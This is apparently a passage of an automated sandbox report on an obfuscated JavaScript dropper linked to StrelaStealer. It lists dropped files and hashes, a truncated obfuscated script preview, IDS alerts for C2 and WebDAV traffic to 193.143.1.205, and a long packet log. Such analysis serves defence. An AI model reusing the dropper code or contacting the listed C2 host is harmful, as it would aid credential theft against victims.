C:\Users\user\AppData\Local\Temp\acrocef_low\a6355c5c-d70c-460b-9774-5913b9adc203.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ba14b717-3bcc-4f63-982b-b8aba9ac93f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:bwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	D1BC27E013E1129B27D3BE5F4567D495
SHA1:	D2D1B846698798C80E57917477F7B98054B48925
SHA-256:	3EF526805CA6690C3E477DFD81BFD4B28B8D82CCA8E3641C3EDA0EC37F332DDC
SHA-512:	EBCEFA11F5BC59D602D90177B460B0F0DA59534D347FFBAF1A7C78118A3A221A02284E0A34164F6C0710C1B4E88504C4A20DA69AC998B5EE613A017B208316CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15267), with CRLF line terminators
Entropy (8bit):	4.90822621037849
TrID:
File name:	1554336511338510086.js
File size:	18'781 bytes
MD5:	12b582735e5b76398d982c4eb14a2888
SHA1:	ee56cfbf14ff06786c8067b874d3e9bde0ad9f14
SHA256:	10de85d339657b564aaf8721bd1f5374a49dc6a99b6a7e066943986788511242
SHA512:	1f01c0229a5465fbefc3fbf2a5b06e47ccc3e92e07b64d61ee67c5f0dbd21f0a8e410a483688d5e109b9db7997945cdccf67dbe0656131aec2cead69ab9d779f
SSDEEP:	384:dSaDyRUrJHSwTiwqgrUOq3A7DCM7hwlvtB+8nUYR6RINpc2h2C8RPriSGZ1ZTQ/3:heRUzTZtSQ
TLSH:	AA82A7A4A19640D9C1DC44FE4DC708EA0906036CCDE8AAAA13C2FCF95778696B5D25FF
File Content Preview:	function efbzcyaer(){rfanlyle=[1031,3079,5127,4103,2055,3072];var shbmolust=this[wmydbyff+iqtvdi+xyihat+fomey+fijzhpt+cofoxip+upngprvkv+kbvnh](this[uygai+auxny+vhnxxd+xyihat+hkrnmugoe+wmydbyff+kbvnh][gjgstf+xyihat+fijzhpt+iqtvdi+kbvnh+fijzhpt+cropnkd+fdtq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:07:24.090840+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:07:24.090840+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:07:26.635856+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:07:23.315576077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:23.320801973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:23.320914030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:23.324031115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:23.328958988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090544939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090595961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090629101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090660095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090692043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090723038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090754032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090785027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090816021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090840101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.090850115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.090892076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.090909958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.095709085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.135509968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.136127949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.136163950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.136260033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.207658052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207688093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207705975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207722902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207741022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207806110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.207855940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.207886934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207928896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.207976103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.207993031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208010912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208025932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208031893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.208060980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.208834887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208851099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208867073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208882093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208898067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.208900928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.208923101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.209716082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.209732056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.209748983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.209759951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.209764957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.209780931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.209783077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.209830999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.210573912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.260497093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.265928030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.265980959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.266026020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.266041994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.294262886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.294410944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325371981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325413942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325450897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325476885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325485945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325527906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325531006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325577974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325622082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325623035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325659990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325695992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325705051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325731993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325772047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325884104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325918913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325957060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.325963020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.325990915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326030970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326039076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.326384068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326428890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.326493025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326529026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326565027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326565981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.326598883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326637030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326647043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.326674938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.326718092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.327584982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327621937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327656984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327665091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.327692032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327728987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327735901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.327764988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327800989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.327809095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.328291893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328325987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328331947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.328362942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328397989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328409910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.328454971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328490019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328496933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.328528881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.328567982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.329057932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.329096079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.329132080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.329145908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.329174042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.329210997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.329215050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.352897882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.352932930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.352967978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.352976084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.353005886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.353013992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.371756077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.371792078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.371819973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.383099079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.383137941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.383168936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.383173943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.383214951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.412821054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.412858963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.412931919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442331076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442397118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442450047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442470074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442487001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442522049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442528009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442590952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442625999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442636967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442662954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442697048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442701101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442737103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442783117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442810059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442862034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.442898989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.442990065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443025112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443069935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.443156004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443209887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443245888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443257093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.443501949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443536997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443546057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.443574905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443613052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.443860054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443895102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443931103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.443948030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.443965912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444006920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444019079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444053888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444092035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444092989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444129944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444170952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444179058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444694996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444729090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444736004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444766998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444814920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444858074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444892883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444927931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.444941044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.444962025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445003033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445017099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445051908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445090055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445094109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445126057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445163012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445172071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445262909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445298910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445313931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445353031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445388079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445394993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445442915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445486069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445497036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445533037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445566893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445580959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445601940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445636988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445650101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.445672989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445708036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.445710897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446324110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446357965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446369886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446394920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446436882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446495056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446527958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446564913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446594000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446599007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446639061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446643114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446677923 CET	80	49704	193.143.1.205	192.168.2.5
